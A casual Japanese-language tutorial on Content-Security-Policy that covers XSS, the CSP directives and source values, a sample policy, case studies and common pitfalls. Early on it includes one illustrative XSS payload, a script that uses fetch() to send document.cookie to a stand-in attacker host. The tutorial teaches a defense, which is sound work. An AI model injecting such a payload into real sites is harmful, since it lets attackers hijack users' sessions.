ひと言でいうと
コンテンツセキュリティポリシー(Content-Security-Policy, CSP)は、HTTPヘッダー経由で配信されるセキュリティ標準だよ。ブラウザに対して、どのコンテンツソース(スクリプト、画像、スタイルなど)が信頼できて読み込みを許可すべきかを伝える役割を持ってて、悪意のあるコード注入に対する「用心棒」みたいな働きをするんだ。
こいつが解決する問題
Webの黎明期、無法地帯だった時代は、セキュリティなんてものは後回しにされがちだった。そんな中で登場した最も厄介な悪役の一つが、クロスサイトスクリプティング、略してXSSだ。かいつまんで言うと、XSSってのは、悪意のある攻撃者が、君が信頼しているWebサイトに自分の悪質なコード(たいていはJavaScript)を注入する攻撃のこと。
コメント欄のあるブログを想像してみて。開発者である君は、細心の注意を払ってサイトを構築する。でも、コメントの表示方法にたった一つ、小さなバグを見逃してしまう。そこに攻撃者がやってきて、「いい記事ですね!」と書く代わりに、こんなコメントを投稿するんだ。
<script>
// ログイン中のユーザーのセッションクッキーを盗む
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
さあ、このブログ記事を見た他のユーザー全員のブラウザが、このスクリプトを実行してしまう。スクリプトは君のブログのドメインで実行されるから、ユーザーのセッションクッキーなど、正規のスクリプトがアクセスできるものすべてにアクセスできてしまう。これで攻撃者は彼らのセッションを乗っ取って、なりすましができるようになる。これはヤバい。
長年、唯一の防御策は、ユーザーからの入力を一つ残らず丹念にサニタイズすることだった。これは「入力値の検証と出力のエンコーディング」と呼ばれ、今でもめちゃくちゃ重要。でも、それを100%の時間、100%正しくやるのは信じられないほど難しい。ほんの少しのミスで、脆弱性が生まれてしまう。
CSPは「多層防御」の必要性から生まれた。考え方はシンプルだ。サーバーがブラウザにこう言えたらどうだろう?「なあ、こっちは完璧なつもりでいるけど、万が一ミスって悪意のあるスクリプトをスルーさせちゃった時のために、いくつかルールを強制してくれないか。スクリプトはうちのドメイン my-app.com とGoogle Analyticsから来るやつだけ実行してくれ。それ以外のソースから来たスクリプトを見つけたら、ブロックして俺に報告してくれよ」と。
それがCSPなんだ。ユーザーのブラウザで直接動作する第二の防衛線として、ブラウザを受動的な被害者から、能動的なセキュリティエージェントに変えるんだ。
舞台裏の仕組み
CSPは魔法じゃない。単にHTTPレスポンスヘッダーで送られるテキストの文字列だ。主なヘッダーは2つある。
Content-Security-Policy: ポリシーを強制する。リソースがポリシーに違反した場合、ブロックされる。Content-Security-Policy-Report-Only: 「ドライラン」モード。ポリシー違反を報告するだけで、実際には何もブロックしない。サイトを壊さずに新しいポリシーをテストしたりデプロイしたりする時にはまさに神の恵みだ。
ヘッダーの値は、セミコロンで終わる一連のディレクティブ(指示)で構成される。ディレクティブは名前と許可されたソースのリストから成る。
よく使われるディレクティブ
ディレクティブは、制御したいコンテンツのカテゴリだと考えてくれ。
| ディレクティブ | 制御対象 | 内容 |
|---|---|---|
default-src |
フォールバック | 他の -src ディレクティブが指定されていない場合のデフォルトのソースリスト。まずはこれを設定しよう! |
script-src |
スクリプト | scriptタグ、インラインハンドラ(onclick)、その他を含むJavaScriptソース。XSS対策の要。 |
style-src |
スタイルシート | CSSファイル、styleタグ、インラインのstyle属性。 |
img-src |
画像 | <img>タグ、ファビコンなど。 |
connect-src |
接続 | fetch()、XMLHttpRequest、WebSocketなどのURL。フロントエンドが通信できる相手は? |
font-src |
フォント | @font-faceで読み込まれるWebフォント。 |
frame-src |
フレーム | <iframe>や<frame>要素のソース。 |
report-uri |
レポート送信 | (非推奨だがよく使われる)ブラウザがポリシー違反のJSONレポートを送信するURL。 |
report-to |
レポート送信 | Reporting APIを使用する、report-uriのモダンな後継。 |
よく使われるソースの値
各ディレクティブに対して、どこからのコンテンツを許可するかを指定する。
| ソース | 意味 | 例 |
|---|---|---|
'self' |
同一オリジン | ドキュメントと同じドメイン、スキーム、ポートからのコンテンツを許可。 |
'none' |
何も許可しない | そのディレクティブのすべてのコンテンツをブロックする。object-src 'none' は非常に良いアイデア。 |
example.com |
特定のホスト | example.comからのコンテンツを許可。 |
*.example.com |
ワイルドカード付きホスト | example.comの任意のサブドメインからのコンテンツを許可。注意して使おう! |
https: |
スキーム | HTTPS経由の任意のソースからのコンテンツを許可。 |
'unsafe-inline' |
インラインコード | インラインの<script>や<style>タグ、styleやonclick属性を許可。可能なら避けるべき! |
'unsafe-eval' |
動的コード | eval()のような文字列評価関数を許可。大きなセキュリティリスク。 |
'nonce-...' |
暗号学的nonce | インラインスクリプトのnonce属性がヘッダーのものと一致する場合に許可。特定のインラインスクリプトを安全に使うための優れた方法。 |
'sha256-...' |
ハッシュ | インラインスクリプトやスタイルのSHA256ハッシュがヘッダーのものと一致する場合に許可。 |
全部まとめてみよう
モダンなWebアプリの現実的なポリシーを見てみよう。
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
これを分解してみよう。
default-src 'self': デフォルトでは、自オリジンからのリソースのみを許可。script-src ...: 自オリジン、解析プロバイダ、そして特定のnonce値を持つインラインスクリプトからのスクリプトを許可。サーバーはページ読み込みのたびに、新しいランダムなnonceを生成することになる。style-src 'self' 'unsafe-inline': 自オリジンからのスタイルシートを許可。'unsafe-inline'は、style属性を注入するレガシーコードが残っている可能性を示唆している。よくある(理想的ではないけど)状況だ。img-src ...: 画像は自オリジン、data:URI、または専用の画像CDNから許可。connect-src ...: フロントエンドのJavaScriptは、自オリジンとapi.my-app.comへのAPI呼び出しのみ許可。font-src 'none',object-src 'none': カスタムフォントやFlashのようなプラグインは使わないので、完全にブロック。frame-ancestors 'none': 他のサイトが我々のサイトを<iframe>内に表示することを防ぎ、クリックジャッキング攻撃を阻止する。report-to csp-endpoint:csp-endpointという名前のレポーティングエンドポイント(別の場所で設定)に違反レポートを送信する。
実社会での事例
Eコマースのスキミング事件
ある中規模のオンラインストアが、カスタマーサービス向上のためにサードパーティ製のチャットウィジェットをサイトに追加した。彼らはウィジェットのドメインをscript-srcディレクティブに追加し、安全だと思っていた。しかし彼らが知らなかったのは、チャットウィジェットの会社自体が侵害され、攻撃者がウィジェットのスクリプトファイルを改ざんしていたことだった。新しい悪意のあるバージョンは、チェックアウトページのクレジットカード番号をこっそり抜き取っていた。ストアのCSPがそのソースドメインを信頼していたため、悪意のあるスクリプトは何週間も問題なく読み込まれ、実行され続けた。
教訓: CSPは信頼の連鎖だ。サードパーティのドメインを許可するということは、その会社だけでなく、彼らのセキュリティ、デプロイパイプライン、そして彼らのすべての依存関係を信頼することになる。サブリソース完全性(SRI)は、この特定のリスクを軽減するのに役立つ別のツールだ。
慎重なロールアウト
ある大手メディア企業が、トラフィックの多いニュースサイトに厳格なCSPを実装しようとしていた。一度にすべてをデプロイすると、広告や動画、その他無数の機能が壊れる可能性があることを彼らは知っていた。いきなり本番適用する代わりに、彼らはポリシーをContent-Security-Policy-Report-Onlyモードでデプロイした。2週間、彼らはひたすらデータを収集した。彼らのreport-uriエンドポイントには、1時間あたり数千件のレポートが殺到した。彼らはこれらのレポートをデータベースに流し込み、最も頻繁にブロックされたリソースと、それらがブロックされたページを示すダッシュボードを構築した。忘れ去られていた何十ものレガシーなトラッキングスクリプト、広告ネットワークのドメイン、動画プレイヤーの依存関係を発見した。体系的に、古いリソースを削除するか、正当なものをポリシーのホワイトリストに追加していった。1ヶ月の改善の後、彼らは強制モードに切り替えた。何も壊れなかった。
教訓: 当てずっぽうでやるのはやめよう。Report-Onlyモードを副操縦士として使おう。実際のユーザートラフィックに基づいた完璧で現実的なポリシーを構築でき、恐ろしいセキュリティタスクを管理可能なデータ分析問題に変えてくれる。
ブラウザ拡張機能の脅威
ある金融会社の従業員が、独自のCSSとJavaScriptを注入してWebページを「美化」する人気のブラウザ拡張機能を使っていた。ほとんどのサイトでは無害だった。しかし、彼が社内の財務ポータルにログインしたとき、サイトは正しく動作しなかった。混乱した彼はIT部門に電話した。開発者がブラウザのコンソールを見ると、CSP違反エラーの連続が表示されていた。ポータルが拡張機能のスクリプトとスタイルの注入をブロックしていたのだ。'self'からのスクリプトとスタイルのみを許可するポータルの厳格なCSPは、拡張機能のコードを信頼できない外部リソースとして正しく識別し、ブロックした。これにより、善意から生まれたけど、おせっかいな拡張機能からの潜在的なデータ漏洩を防いだ。
教訓: 強力なCSPは、自サイトの潜在的なバグからだけでなく、悪意のある、または過剰に寛容な拡張機能など、ユーザー自身のブラウザ環境内の脅威からもユーザーを保護する。
よくある間違いと落とし穴
'unsafe-inline'に頼る。 これが最もよくある落とし穴だ。開発者は古いonclickイベントハンドラやインライン<script>タグで問題にぶつかり、手っ取り早い修正として'unsafe-inline'に手を伸ばす。これはXSS攻撃の大きな抜け道を再び開けてしまうことに他ならない。より良い方法は、addEventListenerを使うようにコードをリファクタリングするか、どうしてもインラインスクリプトが必要な場合は、nonceやハッシュを使って個別にホワイトリスト登録することだ。default-srcを忘れる。script-srcとstyle-srcしか設定しないと、他の攻撃経路が開いたままになる。<object>タグはどうする?ワーカーは?常に制限の厳しいdefault-src 'self'やdefault-src 'none'から始め、ディレクティブごとに必要なものだけを開放していこう。- レポートを設定するだけで、決して見ない。 行き止まりのURLを指している
report-uriは無意味だ。違反レポートは早期警戒システムだ。進行中の新たなXSS攻撃を警告してくれたり、最近のデプロイが一部のユーザーの正当な機能を壊したことを教えてくれたりする。これらのレポートを取り込み、集計し、レビューするプロセスが不可欠だ。 - 緩すぎるワイルドカードの使用。
script-src https://*.some-cdn.comを使いたくなる気持ちはわかるが、これでは攻撃者がhttps://malicious-user-account.some-cdn.comからスクリプトを読み込めてしまうかもしれない。ホスト名は可能な限り具体的に指定しよう。 frame-ancestorsを無視する。 XSSが注目されがちだが、クリックジャッキングもまた現実の脅威だ。攻撃者は君のサイトを透明な<iframe>で自分の悪意のあるサイトの上に読み込み、ユーザーをだまして君のサイトのボタンをクリックさせることができる。frame-ancestors 'none'やframe-ancestors 'self'は、忘れられがちだがシンプルで強力な防御策だ。
なぜ注目すべきか
もし君が...
- ユーザーのログイン、個人データ、または支払い情報を扱うWebアプリケーションを構築しているなら。
- ユーザーが投稿したコンテンツ(コメント、プロフィール、フォーラムの投稿)を表示しているなら。
- アナリティクス、広告、サポートウィジェット、タグマネージャーなど、複数のサードパーティスクリプトを統合しているなら。
- 些細なものではないWebプロジェクトで、堅牢でモダンな多層防御のセキュリティ体制を望むなら。
...CSPについて考えるべきだ。
要するに、21世紀のWebデベロッパーなら、CSPはツールキットの標準装備にしておくべきってこと。もはや超心配性のためのマニアックな機能ではなく、フロントエンドセキュリティの基礎的な要素なんだ。
もっと深く知る
- MDN Web Docs: Content Security Policy (CSP) - 決定的で実践的なガイド兼リファレンス。
- W3C Content Security Policy Level 3 - 公式仕様。内容は濃いけど、これが正典。
- Google's Web Fundamentals on CSP - 実践的なアドバイス付きの、優れたハイレベルな入門書。
- report-uri.com - セキュリティ専門家Scott Helme氏が運営するCSPレポート収集サービス。彼のブログもこのトピックに関する素晴らしい情報源。
- OWASP Cheat Sheet: Content Security Policy - Open Web Application Security Project(OWASP)による、セキュリティに特化したベストプラクティス。